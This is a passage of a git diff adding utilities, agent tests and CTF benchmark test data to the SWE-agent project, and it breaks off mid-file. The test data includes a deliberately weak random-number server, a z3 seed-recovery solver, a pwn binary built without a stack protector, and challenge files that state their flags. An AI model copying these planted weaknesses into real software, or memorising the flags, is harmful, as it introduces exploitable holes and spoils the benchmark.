+ """Get the starts and stops for all files in the patch. + + Args: + original: Whether to read the original file or the patched file + context_length: The number of lines to include above and below the hunk + + Returns: + A dictionary with the file path as key and a tuple of lists of starts and stops as value. + """ + out: dict[str, tuple[list[int], list[int]]] = {} + for patch in self._patch: + if not patch.is_modified_file: + continue + starts: list[int] = [] + stops: list[int] = [] + for hunk in patch: + if original: + # 1 is the lowest line number + start = max(1, hunk.source_start - context_length) + stop = hunk.source_start + hunk.source_length + context_length + else: + start = max(1, hunk.target_start - context_length) + stop = hunk.target_start + hunk.target_length + context_length + starts.append(start) + stops.append(stop) + out[patch.path] = (starts, stops) + return out + + def _read_files(self, original: bool) -> None: + for patch in self._patch: + path = patch.path + if not patch.is_modified_file: + continue + if original: + msg = "Original file reading not implemented" + raise NotImplementedError(msg) + else: + assert self._patch_applied + self._patched_files[path] = self._read_file(path) + + @staticmethod + def concat_files_strings(files: dict[str, str]) -> str: + """Concatenate multiple `read_files` outputs into a single string.""" + out = [] + for path, content in files.items(): + out.append(f"[File: {path}]\n{content}") + return "\n\n".join(out) + + def get_files_str(self, *, original: bool, context_length: int | None = 50, linenos: bool = True) -> str: + hunk_lines = self._get_hunk_lines(original=original, context_length=context_length) + sources = self._original_files if original else self._patched_files + return self.concat_files_strings( + {path: self.format_file(text, *hunk_lines[path], linenos=linenos) for path, text in sources.items()} + ) diff --git a/sweagent/utils/serialization.py b/sweagent/utils/serialization.py new file mode 100644 index 0000000..310730f --- /dev/null +++ b/sweagent/utils/serialization.py @@ -0,0 +1,45 @@ +import io +from copy import deepcopy +from typing import Any + +from ruamel.yaml import YAML +from ruamel.yaml.scalarstring import LiteralScalarString as LSS + + +def _convert_to_yaml_literal_string(d: Any) -> Any: + """Convert any multi-line strings in nested data object to LiteralScalarString. + This will then use the `|-` syntax of yaml. + """ + d = deepcopy(d) + if isinstance(d, dict): + for key, value in d.items(): + d[key] = _convert_to_yaml_literal_string(value) + elif isinstance(d, list): + for i, item in enumerate(d): + d[i] = _convert_to_yaml_literal_string(item) + elif isinstance(d, str) and "\n" in d: + d = LSS(d.replace("\r\n", "\n").replace("\r", "\n")) + return d + + +def _yaml_serialization_with_linebreaks(data: Any) -> str: + data = _convert_to_yaml_literal_string(data) + yaml = YAML() + yaml.indent(mapping=2, sequence=4, offset=2) + yaml.width = float("inf") + yaml.default_flow_style = False + buffer = io.StringIO() + yaml.dump(data, buffer) + return buffer.getvalue() + + +def merge_nested_dicts(d1: dict, d2: dict) -> dict: + """Merge two nested dictionaries, updating d1 in place. + If a key exists in both dictionaries, the value from d2 will be used. + """ + for key, value in d2.items(): + if isinstance(value, dict): + d1[key] = merge_nested_dicts(d1.get(key, {}), value) + else: + d1[key] = value + return d1 diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/tests/conftest.py b/tests/conftest.py new file mode 100644 index 0000000..b1314fa --- /dev/null +++ b/tests/conftest.py @@ -0,0 +1,138 @@ +from __future__ import annotations + +import json +import shutil +import subprocess +import sys +from collections.abc import Generator +from contextlib import contextmanager +from pathlib import Path + +import pytest +from swerex.deployment.config import DockerDeploymentConfig, DummyDeploymentConfig + +from sweagent.environment.repo import LocalRepoConfig +from sweagent.environment.swe_env import EnvironmentConfig, SWEEnv + +# this is a hack and should be removed when we have a better solution +_this_dir = Path(__file__).resolve().parent +root_dir = _this_dir.parent +package_dir = root_dir / "sweagent" +sys.path.insert(0, str(root_dir)) +sys.path.insert(1, str(package_dir)) + + +@pytest.fixture +def test_data_path() -> Path: + p = _this_dir / "test_data" + assert p.is_dir() + return p + + +@pytest.fixture +def test_trajectories_path(test_data_path) -> Path: + p = test_data_path / "trajectories" + assert p.is_dir() + return p + + +@pytest.fixture +def test_ctf_trajectories_path(test_data_path) -> Path: + p = test_data_path / "trajectories" / "ctf" + assert p.is_dir() + return p + + +@pytest.fixture +def ctf_data_path(test_data_sources_path) -> Path: + p = test_data_sources_path / "ctf" + assert p.is_dir() + return p + + +@pytest.fixture +def test_data_sources_path(test_data_path) -> Path: + p = test_data_path / "data_sources" + assert p.is_dir() + return p + + +@pytest.fixture +def test_trajectory_path(test_trajectories_path) -> Path: + traj = ( + test_trajectories_path + / "gpt4__swe-agent__test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1" + / "swe-agent__test-repo-i1.traj" + ) + assert traj.exists() + return traj + + +@pytest.fixture +def test_trajectory(test_trajectory_path): + return json.loads(test_trajectory_path.read_text()) + + +@pytest.fixture(scope="module") +def test_env_args( + tmpdir_factory, +) -> Generator[EnvironmentConfig]: + """This will use a persistent container""" + local_repo_path = tmpdir_factory.getbasetemp() / "test-repo" + clone_cmd = ["git", "clone", "https://github.com/swe-agent/test-repo", str(local_repo_path)] + subprocess.run(clone_cmd, check=True) + test_env_args = EnvironmentConfig( + deployment=DockerDeploymentConfig(image="python:3.11"), + repo=LocalRepoConfig(path=Path(local_repo_path)), + ) + yield test_env_args + shutil.rmtree(local_repo_path) + + +@pytest.fixture +def dummy_env_args() -> EnvironmentConfig: + return EnvironmentConfig( + deployment=DummyDeploymentConfig(), + repo=None, + ) + + +@pytest.fixture +def dummy_env(dummy_env_args) -> Generator[SWEEnv, None, None]: + env = SWEEnv.from_config(dummy_env_args) + env.start() + yield env + env.close() + + +@contextmanager +def swe_env_context(env_args): + """Context manager to make sure we close the shell on the container + so that we can reuse it. + """ + + env = SWEEnv.from_config(env_args) + env.start() + try: + yield env + finally: + env.close() + + +@pytest.fixture +def swe_agent_test_repo_clone(tmp_path): + local_repo_path = tmp_path / "test-repo" + clone_cmd = ["git", "clone", "https://github.com/swe-agent/test-repo", local_repo_path] + subprocess.run(clone_cmd, check=True) + return local_repo_path + + +@pytest.fixture +def swe_agent_test_repo_traj(test_trajectories_path) -> Path: + p = ( + test_trajectories_path + / "gpt4__swe-agent-test-repo__default_from_url__t-0.00__p-0.95__c-3.00__install-1" + / "6e44b9__sweagenttestrepo-1c2844.traj" + ) + assert p.is_file() + return p diff --git a/tests/test_agent.py b/tests/test_agent.py new file mode 100644 index 0000000..dc0e610 --- /dev/null +++ b/tests/test_agent.py @@ -0,0 +1,262 @@ +import pytest +import yaml +from swerex.exceptions import SwerexException +from swerex.runtime.abstract import Action, BashObservation, Observation +from swerex.runtime.dummy import DummyRuntime + +from sweagent import CONFIG_DIR +from sweagent.agent.agents import DefaultAgent, DefaultAgentConfig +from sweagent.agent.models import InstantEmptySubmitModelConfig, PredeterminedTestModel +from sweagent.agent.problem_statement import EmptyProblemStatement, TextProblemStatement +from sweagent.environment.swe_env import SWEEnv +from sweagent.tools.parsing import FunctionCallingParser, Identity, ThoughtActionParser +from sweagent.tools.tools import ToolConfig + + +def test_dummy_env(dummy_env): + pass + + +@pytest.fixture +def identity_agent_config(): + return DefaultAgentConfig( + model=InstantEmptySubmitModelConfig(), + tools=ToolConfig( + parse_function=Identity(), + ), + ) + + +@pytest.fixture +def thought_action_agent_config(): + return DefaultAgentConfig( + model=InstantEmptySubmitModelConfig(), + tools=ToolConfig( + parse_function=ThoughtActionParser(), + ), + ) + + +@pytest.fixture +def function_calling_agent_config(): + return DefaultAgentConfig( + model=InstantEmptySubmitModelConfig(), + tools=ToolConfig( + parse_function=FunctionCallingParser(), + ), + ) + + +@pytest.fixture +def default_agent_config(): + config = yaml.safe_load((CONFIG_DIR / "sweagent_0_7/07.yaml").read_text()) + config["agent"]["model"] = {"name": "instant_empty_submit"} + print(yaml.dump(config)) + return DefaultAgentConfig.model_validate(config["agent"]) + + +@pytest.fixture +def default_agent(default_agent_config: DefaultAgentConfig) -> DefaultAgent: + a = DefaultAgent.from_config(default_agent_config) + a.tools.mock_state = {"open_file": "asdf123", "working_dir": "/root"} + return a + + +@pytest.fixture +def test_agent(identity_agent_config: DefaultAgentConfig) -> DefaultAgent: + return DefaultAgent.from_config(identity_agent_config) + + +@pytest.fixture +def thought_action_agent(thought_action_agent_config: DefaultAgentConfig) -> DefaultAgent: + return DefaultAgent.from_config(thought_action_agent_config) + + +@pytest.fixture +def function_calling_agent(function_calling_agent_config: DefaultAgentConfig) -> DefaultAgent: + return DefaultAgent.from_config(function_calling_agent_config) + + +def test_exit_cost(dummy_env: SWEEnv, test_agent: DefaultAgent, tmp_path): + test_agent.model = PredeterminedTestModel(["raise_cost"]) # type: ignore + r = test_agent.run( + problem_statement=EmptyProblemStatement(), + env=dummy_env, + output_dir=tmp_path, + ) + assert r.info["exit_status"] == "exit_cost" # type: ignore + + +def test_exit_context(dummy_env: SWEEnv, test_agent: DefaultAgent, tmp_path): + test_agent.model = PredeterminedTestModel(["raise_context"]) # type: ignore + r = test_agent.run( + problem_statement=EmptyProblemStatement(), + env=dummy_env, + output_dir=tmp_path, + ) + assert r.info["exit_status"] == "exit_context" # type: ignore + + +def test_exit_model_error(dummy_env: SWEEnv, test_agent: DefaultAgent, tmp_path): + test_agent.model = PredeterminedTestModel(["raise_runtime"]) # type: ignore + r = test_agent.run( + problem_statement=EmptyProblemStatement(), + env=dummy_env, + output_dir=tmp_path, + ) + assert r.info["exit_status"] == "exit_environment_error" # type: ignore + + +def test_exit_format(dummy_env: SWEEnv, thought_action_agent: DefaultAgent, tmp_path): + thought_action_agent.model = PredeterminedTestModel(["a", "b", "c", "d"]) # type: ignore + r = thought_action_agent.run( + problem_statement=EmptyProblemStatement(), + env=dummy_env, + output_dir=tmp_path, + ) + assert r.info["exit_status"] == "exit_format" # type: ignore + + +def test_exit_blocklist(dummy_env: SWEEnv, test_agent: DefaultAgent, tmp_path): + test_agent.model = PredeterminedTestModel(["vim", "python", "su", "nano"]) # type: ignore + r = test_agent.run( + problem_statement=EmptyProblemStatement(), + env=dummy_env, + output_dir=tmp_path, + ) + assert r.info["exit_status"] == "exit_format" # type: ignore + + +class RuntimeRaisesFirst(DummyRuntime): + async def run_in_session(self, action: Action) -> Observation: + if action.action_type == "bash" and action.command == "raise": + raise SwerexException() + return await super().run_in_session(action) + + +def test_early_exit(dummy_env: SWEEnv, test_agent: DefaultAgent, tmp_path): + test_agent.model = PredeterminedTestModel(["raise"]) # type: ignore + test_agent._catch_errors = True + dummy_env.deployment.runtime = RuntimeRaisesFirst() # type: ignore + r = test_agent.run( + problem_statement=EmptyProblemStatement(), + env=dummy_env, + output_dir=tmp_path, + ) + assert r.info["exit_status"] == "exit_environment_error" # type: ignore + + +def test_run_step_by_step_checking_history(dummy_env: SWEEnv, default_agent: DefaultAgent, tmp_path): + a = default_agent + a.model = PredeterminedTestModel(["asdf", "```\nls\n```", "```\necho 'asdf'\n```", "raise_cost"]) # type: ignore + a.setup(dummy_env, TextProblemStatement(text="asdf123")) + dummy_env.deployment.runtime.run_in_session_outputs = [ # type: ignore + BashObservation(output="file_a file_b"), + BashObservation(output=""), # set last action + BashObservation(output="asdf"), + BashObservation(output=""), + ] + assert "asdf123" in a._problem_statement.get_problem_statement() # type: ignore + # system template and demo and instance template + assert len(a.messages) == 3 + system_prompt = a.messages[0]["content"] + assert "You are an autonomous programmer" in system_prompt + demo = a.messages[1]["content"] + # print(demo) + assert "demonstration" in demo # demo + assert "marshmallow" in demo # demo + instance_template = a.messages[2]["content"] + assert "the following issue within our repository" in instance_template + assert "asdf123" in instance_template + assert len(a.trajectory) == 0 + print(a.step()) + assert len(a.trajectory) == 2 # we requery once because format error + assert len(a.messages) == 5 # first action performed + observation + print(yaml.dump(a.messages, indent=2)) + assert a.messages[3]["content"].strip() == "```\nls\n```" + assert "file_a file_b" in a.messages[4]["content"] + assert "Open file: asdf123" in a.messages[4]["content"] + assert "Current directory: /root" in a.messages[4]["content"] + print(a.step()) + print(yaml.dump(a.messages, indent=2)) + assert len(a.trajectory) == 3 + assert len(a.messages) == 7 + print(a.step()) + assert len(a.trajectory) == 4 + assert a.info["exit_status"] == "exit_cost" # type: ignore + + +# todo: fixme; Needs real environment or mocking of read_file +@pytest.mark.xfail +def test_run_autosubmit(dummy_env: SWEEnv, default_agent: DefaultAgent, tmp_path): + a = default_agent + a.model = PredeterminedTestModel(["raise_cost"]) # type: ignore + a.setup(dummy_env, EmptyProblemStatement()) + dummy_env.write_file("/root/model.patch", "mysubmission") + dummy_env.deployment.runtime.run_in_session_outputs = [ # type: ignore + BashObservation(output=""), + BashObservation(output=r"<>\nmysubmission\n<>"), + ] + r = a.step() + assert a.info is not None + assert a.info["exit_status"] == "submitted (exit_cost)" # type: ignore + assert a.info["submission"] == "mysubmission" # type: ignore + assert r.done + assert r.submission == "mysubmission" + assert r.exit_status == "submitted (exit_cost)" + assert not r.action + assert "cost limit" in r.thought + + +def test_show_no_output_template(dummy_env: SWEEnv, default_agent: DefaultAgent, tmp_path): + a = default_agent + a.templates.next_step_no_output_template = "no output template" + a.setup(dummy_env, EmptyProblemStatement()) + a.model = PredeterminedTestModel(["```\nls\n```", "```\ntest\n```"]) # type: ignore + dummy_env.deployment.runtime.run_in_session_outputs = [BashObservation(output="")] # type: ignore + a.step() + a.step() + # todo: actually test that the template is used + + +# todo: fixme; Needs real environment or mocking of read_file +@pytest.mark.xfail +def test_successful_submission(dummy_env: SWEEnv, default_agent: DefaultAgent, tmp_path): + a = default_agent + a.model = PredeterminedTestModel(["```\nsubmit\n```"]) # type: ignore + a.setup(dummy_env, EmptyProblemStatement()) + dummy_env.write_file("/root/model.patch", "test") + dummy_env.deployment.runtime.run_in_session_outputs = BashObservation(output=r"<>") # type: ignore + a.step() + assert a.info["exit_status"] == "submitted" # type: ignore + assert a.info["submission"] == "test" # type: ignore + assert a.trajectory[-1]["observation"] == "test" + + +def test_human_exit(dummy_env: SWEEnv, default_agent: DefaultAgent, tmp_path): + a = default_agent + a.model = PredeterminedTestModel(["```\nexit\n```"]) # type: ignore + a.setup(dummy_env, EmptyProblemStatement()) + r = a.step() + assert r.done + assert r.exit_status == "exit_command" + assert r.action.strip() == "exit" + + +def test_function_calling(dummy_env: SWEEnv, function_calling_agent: DefaultAgent, tmp_path): + a = function_calling_agent + # Simulate a valid function call response from the model + valid_response = { + "message": "I'll list the contents of the directory", + "tool_calls": [{"function": {"name": "bash", "arguments": '{"command": "ls"}'}, "id": "abc123"}], + } + a.model = PredeterminedTestModel([valid_response]) # type: ignore + a.setup(dummy_env, EmptyProblemStatement()) + dummy_env.deployment.runtime.run_in_session_outputs = [ # type: ignore + BashObservation(output="file1 file2"), + BashObservation(output="file1 file2"), # TODO, there's actually a bug in swe-rex, requiring two observations + ] # type: ignore + r = a.step() + assert not r.done, "Expected not done, because we haven't submitted yet" + assert r.action.strip() == "ls", "Expected the tool call to be executed" + assert "file1 file2" in r.observation, "Expected the tool call to return the output of the command" diff --git a/tests/test_batch_instance.py b/tests/test_batch_instance.py new file mode 100644 index 0000000..8ce2a29 --- /dev/null +++ b/tests/test_batch_instance.py @@ -0,0 +1,68 @@ +import json + +import pytest +from swerex.deployment.config import DockerDeploymentConfig + +from sweagent.agent.problem_statement import TextProblemStatement +from sweagent.environment.repo import GithubRepoConfig, PreExistingRepoConfig +from sweagent.run.batch_instances import BatchInstance, SimpleBatchInstance, SWEBenchInstances, _slice_spec_to_slice + + +def test_simple_batch_from_swe_bench_to_full_batch_instance(test_data_sources_path): + sb_instance = json.loads((test_data_sources_path / "swe-bench-dev-easy.json").read_text())[0] + instance = SimpleBatchInstance.from_swe_bench(sb_instance).to_full_batch_instance( + DockerDeploymentConfig(image="python:3.11") + ) + assert isinstance(instance.env.repo, PreExistingRepoConfig) + assert instance.env.repo.repo_name == "testbed" + assert isinstance(instance.env.deployment, DockerDeploymentConfig) + assert instance.env.deployment.image == "docker.io/swebench/sweb.eval.x86_64.pydicom_1776_pydicom-1458:latest" + assert isinstance(instance.problem_statement, TextProblemStatement) + assert instance.problem_statement.text == sb_instance["problem_statement"] + assert instance.problem_statement.id == "pydicom__pydicom-1458" + + +@pytest.mark.parametrize("repo_name", ["go-github", "github", "github-action-build-chain"]) +def test_simple_batch_treats_repo_names_containing_github_as_existing_repos(repo_name): + instance = SimpleBatchInstance( + image_name="python:3.11", + problem_statement="Fix the bug", + instance_id="repo-name-with-github", + repo_name=repo_name, + ).to_full_batch_instance(DockerDeploymentConfig(image="python:3.11")) + + assert isinstance(instance.env.repo, PreExistingRepoConfig) + assert instance.env.repo.repo_name == repo_name + + +def test_simple_batch_treats_github_urls_as_github_repos(): + instance = SimpleBatchInstance( + image_name="python:3.11", + problem_statement="Fix the bug", + instance_id="github-url", + repo_name="https://github.com/SWE-agent/test-repo", + ).to_full_batch_instance(DockerDeploymentConfig(image="python:3.11")) + + assert isinstance(instance.env.repo, GithubRepoConfig) + assert instance.env.repo.github_url == "https://github.com/SWE-agent/test-repo" + + +def test_slice_spec_to_slice(): + assert _slice_spec_to_slice("10") == slice(10) + assert _slice_spec_to_slice("10:20") == slice(10, 20) + assert _slice_spec_to_slice("10:20:3") == slice(10, 20, 3) + with pytest.raises(ValueError): + _slice_spec_to_slice("10:20:3:4") + + +@pytest.mark.slow +def test_get_swe_bench_instances(): + for subset in ["lite", "verified", "full"]: + for split in ["dev", "test"]: + if subset in ["verified", "multilingual"] and split == "dev": + continue + print(subset, split) + instance_config = SWEBenchInstances(subset=subset, split=split) # type: ignore + instances = instance_config.get_instance_configs() + assert len(instances) > 0 + assert all(isinstance(instance, BatchInstance) for instance in instances) diff --git a/tests/test_commands/_interactive_dummy.py b/tests/test_commands/_interactive_dummy.py new file mode 100644 index 0000000..f2f12c8 --- /dev/null +++ b/tests/test_commands/_interactive_dummy.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import time + + +class InteractiveDummyCommand: + PROMPT = "(dummy) " + + def start(self): + print("Started interactive dummy command") + + def send(self, input: str): + print(f"Received input: {input}") + time.sleep(0.5) + + def stop(self): + print("Stopped interactive dummy command") + + def __call__(self): + self.start() + while True: + input = input(self.PROMPT) + cmd, _, args = input.partition(" ") + if cmd == "stop": + self.stop() + break + if cmd == "send": + self.send(args) + else: + print(f"Unknown command: {cmd}") + + +if __name__ == "__main__": + InteractiveDummyCommand()() diff --git a/tests/test_commands/interactive_dummy_wrapper.sh b/tests/test_commands/interactive_dummy_wrapper.sh new file mode 100644 index 0000000..003b1f5 --- /dev/null +++ b/tests/test_commands/interactive_dummy_wrapper.sh @@ -0,0 +1,29 @@ +_debug_command() { + echo "<>" +} + + +# @yaml +# signature: dummy_start +# docstring: +dummy_start() { + _debug_command "SESSION=dummy" + _debug_command "START" +} + +# @yaml +# signature: dummy_stop +# docstring: +dummy_stop() { + _debug_command "SESSION=dummy" + _debug_command "stop" + _debug_command "STOP" +} + +# @yaml +# signature: dummy_send +# docstring: +dummy_send() { + _debug_command "SESSION=dummy" + _debug_command "send $@" +} \ No newline at end of file diff --git a/tests/test_data/config_files/dummy_interactive.yaml b/tests/test_data/config_files/dummy_interactive.yaml new file mode 100644 index 0000000..ab1c74b --- /dev/null +++ b/tests/test_data/config_files/dummy_interactive.yaml @@ -0,0 +1,62 @@ +system_template: |- + SETTING + + COMMANDS: + {command_docs} +instance_template: |- + (Open file: {open_file}) + (Current directory: {working_dir}) + (Interactive session: {interactive_session}) + bash-$ +next_step_template: |- + {observation} + (Open file: {open_file}) + (Current directory: {working_dir}) + (Interactive session: {interactive_session}) + bash-$ +next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {open_file}) + (Current directory: {working_dir}) + (Interactive session: {interactive_session}) + bash-$ +state_command: + name: state + code: | + state() { + local working_dir="$PWD"; + local open_file="n/a"; + local interactive_session="${INTERACTIVE_SESSION:-n/a}"; + if [ ! -z $CURRENT_FILE ]; then + open_file=$(realpath $CURRENT_FILE); + fi + + echo '{"open_file": "'$open_file'", "working_dir": "'$working_dir'", "interactive_session": "'$interactive_session'"}' + }; +parse_function: ThoughtActionParser +env_variables: + WINDOW: 100 + OVERLAP: 2 + CURRENT_LINE: 0 + CURRENT_FILE: '' + SEARCH_RESULTS: () + SEARCH_FILES: () + SEARCH_INDEX: 0 +command_files: +- config/commands/defaults.sh +- tests/test_commands/interactive_dummy_wrapper.sh +- tests/test_commands/_interactive_dummy.py +parse_command: ParseCommandDetailed +history_processors: + - type: last_n_observations + n: 5 +blocklist: +- vim +- vi +- emacs +- nano +- nohup +- gdb +blocklist_error_template: | + Interactive operation '{name}' is not supported by this environment. + Please consider using one of the interactive commands available to you in this environment. diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/Dockerfile b/tests/test_data/data_sources/ctf/crypto/Katy/Dockerfile new file mode 100755 index 0000000..a7c2698 --- /dev/null +++ b/tests/test_data/data_sources/ctf/crypto/Katy/Dockerfile @@ -0,0 +1,20 @@ +FROM ubuntu:14.04 +MAINTAINER unknonwn +LABEL Description="CSAW 2016 LCG" VERSION='1.0' + +#installation +RUN dpkg --add-architecture i386 +RUN apt-get update && apt-get upgrade -y +RUN apt-get install -y build-essential socat + +#user +RUN adduser --disabled-password --gecos '' katy +RUN chown -R root:katy /home/katy/ +RUN chmod 750 /home/katy + +#Copying file +WORKDIR /home/katy/ +COPY server /home/katy + +#Run the program with socat +CMD su katy -c "socat TCP-LISTEN:4242,reuseaddr,fork EXEC:/home/katy/server" diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/README.md b/tests/test_data/data_sources/ctf/crypto/Katy/README.md new file mode 100755 index 0000000..b8e09d0 --- /dev/null +++ b/tests/test_data/data_sources/ctf/crypto/Katy/README.md @@ -0,0 +1,13 @@ +# Title +Katy + +# Description +hi every1 im new!!!!!!! holds up spork my name is katy but u can call me t3h PeNgU1N oF d00m!!!!!!!! lol…as u can see im very random!!!! thats why i came here, 2 meet random ppl like me _… im 13 years old (im mature 4 my age tho!!) i like 2 watch invader zim w/ my girlfreind (im bi if u dont like it deal w/it) its our favorite tv show!!! bcuz its SOOOO random!!!! shes random 2 of course but i want 2 meet more random ppl =) like they say the more the merrier!!!! lol…neways i hope 2 make alot of freinds here so give me lots of commentses!!!! +DOOOOOMMMM!!!!!!!!!!!!!!!! <--- me bein random again _^ hehe…toodles!!!!! + +love and waffles, + +t3h PeNgU1N oF d00m + +# Points +50 diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/challenge.json b/tests/test_data/data_sources/ctf/crypto/Katy/challenge.json new file mode 100755 index 0000000..a22027a --- /dev/null +++ b/tests/test_data/data_sources/ctf/crypto/Katy/challenge.json @@ -0,0 +1,12 @@ +{ + "name": "Katy", + "category": "crypto", + "description": "i every1 im new!!!!!!! holds up spork my name is katy but u can call me t3h PeNgU1N oF d00m!!!!!!!! lol…as u can see im very random!!!! thats why i came here, 2 meet random ppl like me _… im 13 years old (im mature 4 my age tho!!) i like 2 watch invader zim w/ my girlfreind (im bi if u dont like it deal w/it) its our favorite tv show!!! bcuz its SOOOO random!!!! shes random 2 of course but i want 2 meet more random ppl =) like they say the more the merrier!!!! lol…neways i hope 2 make alot of freinds here so give me lots of commentses!!!! DOOOOOMMMM!!!!!!!!!!!!!!!! <--- me bein random again _^ hehe…toodles!!!!! love and waffles, t3h PeNgU1N oF d00m nc crypto.chal.csaw.io 4242", + "box": "crypto.chal.csaw.io", + "files":[ + "release" + ], + "compose": true, + "internal_port": 4242, + "flag": "flag{xxxxxxxxxxxxxx}" +} \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/customrandom.c b/tests/test_data/data_sources/ctf/crypto/Katy/customrandom.c new file mode 100755 index 0000000..c7b37d4 --- /dev/null +++ b/tests/test_data/data_sources/ctf/crypto/Katy/customrandom.c @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include + +static uint64_t seed; + +uint64_t next_cypher(uint64_t range) +{ + seed =(seed * 25214903917 + 11) % (uint64_t) (pow(2,48)); + return seed; +} + +uint64_t _hash(char *str) +{ + uint64_t len = strlen(str); + uint64_t hash = 0; + for (int i = 0; i < len; i++) { + hash += str[i] * pow(2, i); + } + return hash; +} + +int main(int argc, char *argv[]) +{ +// char *flag = "flag{praise_rnjesus}"; + char *flag = "flag{xxxxxxxxxxxxxx}"; + seed = _hash(flag); + int start = seed; + + printf("----Totally Random Number Generator----\n"); + printf("Press ENTER to continue"); + fflush(stdout); + + for (size_t i = 0; i < 16; i++) { + getchar(); + printf("4\n"); + fflush(stdout); + } + + + while (1) { + getchar(); + printf("%d\n", next_cypher(UINT32_MAX)); + fflush(stdout); + } + return 0; +} + diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/docker-compose.yml b/tests/test_data/data_sources/ctf/crypto/Katy/docker-compose.yml new file mode 100755 index 0000000..b51f41e --- /dev/null +++ b/tests/test_data/data_sources/ctf/crypto/Katy/docker-compose.yml @@ -0,0 +1,14 @@ +version: '3' +services: + server: + image: llmctf/2016f-cry-katy + ports: + - 4242:4242 + networks: + ctfnet: + aliases: + - crypto.chal.csaw.io + +networks: + ctfnet: + external: true \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/release b/tests/test_data/data_sources/ctf/crypto/Katy/release new file mode 100755 index 0000000..6fce44e Binary files /dev/null and b/tests/test_data/data_sources/ctf/crypto/Katy/release differ diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/server b/tests/test_data/data_sources/ctf/crypto/Katy/server new file mode 100755 index 0000000..edc06d5 Binary files /dev/null and b/tests/test_data/data_sources/ctf/crypto/Katy/server differ diff --git a/tests/test_data/data_sources/ctf/crypto/Katy/solver.py b/tests/test_data/data_sources/ctf/crypto/Katy/solver.py new file mode 100755 index 0000000..63847bf --- /dev/null +++ b/tests/test_data/data_sources/ctf/crypto/Katy/solver.py @@ -0,0 +1,12 @@ +from z3 import * + +s = Solver() +ret = BitVecVal(0, 32) +seed = BitVec('seed', 32) +ret = 25214903917 * seed + 11 +ret = ret & 0xFFFFFFFFFFFF +s.add(ret == 1364650861) # This comment shows possible seeds: 1364650861, 1208101748 + +if s.check() == sat: + model = s.model() + print(model[seed]) diff --git a/tests/test_data/data_sources/ctf/forensics/flash/README.md b/tests/test_data/data_sources/ctf/forensics/flash/README.md new file mode 100755 index 0000000..768ff00 --- /dev/null +++ b/tests/test_data/data_sources/ctf/forensics/flash/README.md @@ -0,0 +1,16 @@ +# Flash + +## Author +Budofsky +## Points +100 +## Category +Forensics +## Description +We were able to grab an image of a harddrive. Find out what's on it. +## Flag +`flag{b3l0w_th3_r4dar}` +## Solution + +## Setup +Distribute `flash_c8429a430278283c0e571baebca3d139.zip` \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/forensics/flash/challenge.json b/tests/test_data/data_sources/ctf/forensics/flash/challenge.json new file mode 100755 index 0000000..88be347 --- /dev/null +++ b/tests/test_data/data_sources/ctf/forensics/flash/challenge.json @@ -0,0 +1,9 @@ +{ + "name": "flash", + "category": "forensics", + "description": "We were able to grab an image of a harddrive. Find out what's on it", + "flag": "flag{b3l0w_th3_r4dar}", + "points": 100, + "box": "", + "files":["flash_c8429a430278283c0e571baebca3d139.zip"] +} diff --git a/tests/test_data/data_sources/ctf/forensics/flash/flash_c8429a430278283c0e571baebca3d139.zip b/tests/test_data/data_sources/ctf/forensics/flash/flash_c8429a430278283c0e571baebca3d139.zip new file mode 100755 index 0000000..d7d0799 Binary files /dev/null and b/tests/test_data/data_sources/ctf/forensics/flash/flash_c8429a430278283c0e571baebca3d139.zip differ diff --git a/tests/test_data/data_sources/ctf/misc/networking_1/README.md b/tests/test_data/data_sources/ctf/misc/networking_1/README.md new file mode 100755 index 0000000..f5fe177 --- /dev/null +++ b/tests/test_data/data_sources/ctf/misc/networking_1/README.md @@ -0,0 +1,15 @@ +# Networking 1 +## Author + +## Points +50 +## Category +Misc +## Description + +## Flag +`d316759c281bf925d600be698a4973d5` +## Solution + +## Setup +Distribute `networking.pcap` \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/misc/networking_1/challenge.json b/tests/test_data/data_sources/ctf/misc/networking_1/challenge.json new file mode 100755 index 0000000..94a7eb5 --- /dev/null +++ b/tests/test_data/data_sources/ctf/misc/networking_1/challenge.json @@ -0,0 +1,10 @@ +{ + "name": "Networking 1", + "category": "misc", + "description": "No description provided", + "box": "", + "files":[ + "networking.pcap" + ], + "flag": "d316759c281bf925d600be698a4973d5" +} \ No newline at end of file diff --git a/tests/test_data/data_sources/ctf/misc/networking_1/networking.pcap b/tests/test_data/data_sources/ctf/misc/networking_1/networking.pcap new file mode 100755 index 0000000..3dd8c07 Binary files /dev/null and b/tests/test_data/data_sources/ctf/misc/networking_1/networking.pcap differ diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/Dockerfile b/tests/test_data/data_sources/ctf/pwn/warmup/Dockerfile new file mode 100755 index 0000000..75f1649 --- /dev/null +++ b/tests/test_data/data_sources/ctf/pwn/warmup/Dockerfile @@ -0,0 +1,28 @@ +FROM ubuntu:14.04 +MAINTAINER unknonwn +LABEL Description="CSAW 2016 WarmUp" VERSION='1.0' + +#installation +RUN apt-get update && apt-get upgrade -y +RUN apt-get install -y build-essential socat + +#user +RUN adduser --disabled-password --gecos '' warmup +RUN chown -R root:warmup /home/warmup/ +RUN chmod 750 /home/warmup +RUN touch /home/warmup/flag.txt +RUN chown root:warmup /home/warmup/flag.txt +RUN chmod 440 /home/warmup/flag.txt +RUN chmod 740 /usr/bin/top +RUN chmod 740 /bin/ps +RUN chmod 740 /usr/bin/pgrep +RUN export TERM=xterm + +WORKDIR /home/warmup/ +COPY warmup.c /home/warmup +COPY flag.txt /home/warmup + +RUN gcc -Wall -fno-stack-protector -o warmup warmup.c + +EXPOSE 8000 +CMD su warmup -c "socat -T10 TCP-LISTEN:8000,reuseaddr,fork EXEC:/home/warmup/warmup" diff --git a/tests/test_data/data_sources/ctf/pwn/warmup/README.md b/tests/test_data/data_sources/ctf/pwn/warmup/README.md new file mode 100755 index 0000000..109b970 --- 